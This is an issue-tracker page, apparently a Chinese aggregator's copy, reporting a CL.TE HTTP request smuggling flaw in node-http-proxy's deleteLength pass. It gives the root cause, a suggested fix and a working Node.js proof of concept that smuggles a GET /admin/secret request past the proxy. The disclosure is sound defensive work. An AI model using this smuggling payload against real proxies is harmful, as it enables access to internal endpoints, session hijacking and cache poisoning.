Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057
还没有人认领这个 Issue。
评估
- 难度
- 3/5
- 预计耗时
- 1-2 天
- 新手友好度
- 72/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 活跃
- 技术栈
- javascript, node.js
- 领域
- backend, networking, security
调研方向
从 lib/http-proxy/passes/web-incoming.js 开始,然后运行提供的 keep-alive 复现步骤,观察 DELETE 请求和走私请求如何到达后端。完成的标准是,代理不再产生 issue 中所示的冲突 framing,同时不带这两个 header 中任一个的合法 DELETE 和 OPTIONS 请求仍能安全工作。
由索引模型根据 Issue 内容生成。
描述
Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy - Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: closewhich prevents smuggling) - Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0when both headers absent
Reported by: @Black1hp
- 主要语言
- JavaScript
- 星标
- 14.1k
- 派生
- 2k
- PR 合并指标
- 30 天内没有已合并 PR
环境准备
这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
http-party/node-http-proxy 的其他 Issue
-
难度 2/5 1-3 小时 新手友好度 78/100
http-party/node-http-proxy#1719 ·
-
难度 1/5 1 小时以内 新手友好度 55/100
http-party/node-http-proxy#1715 · 1 条评论 · 5 个 reaction ·
-
难度 1/5 1 小时以内 新手友好度 15/100
http-party/node-http-proxy#1711 · 2 条评论 ·
-
难度 5/5 一周以上 新手友好度 25/100
http-party/node-http-proxy#1710 · 5 个 reaction ·
-
难度 4/5 3-5 天 新手友好度 25/100
http-party/node-http-proxy#1708 · 1 条评论 ·
查看 http-party/node-http-proxy 的全部 Issue
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 78/100
guybedford/es-module-lexer#266 ·
-
bug documentation
难度 1/5 1-3 小时 新手友好度 88/100
apify/apify-docs#3206 ·
维护者通常 1 天内回复
-
enhancement good first issue
难度 2/5 1-3 小时 新手友好度 90/100
anhnt256/cursor-swarm#21 ·
-
难度 2/5 1-3 小时 新手友好度 72/100
-
documentation good first issue
难度 2/5 1-3 小时 新手友好度 74/100
zerohourzulu/irontrellis#16 ·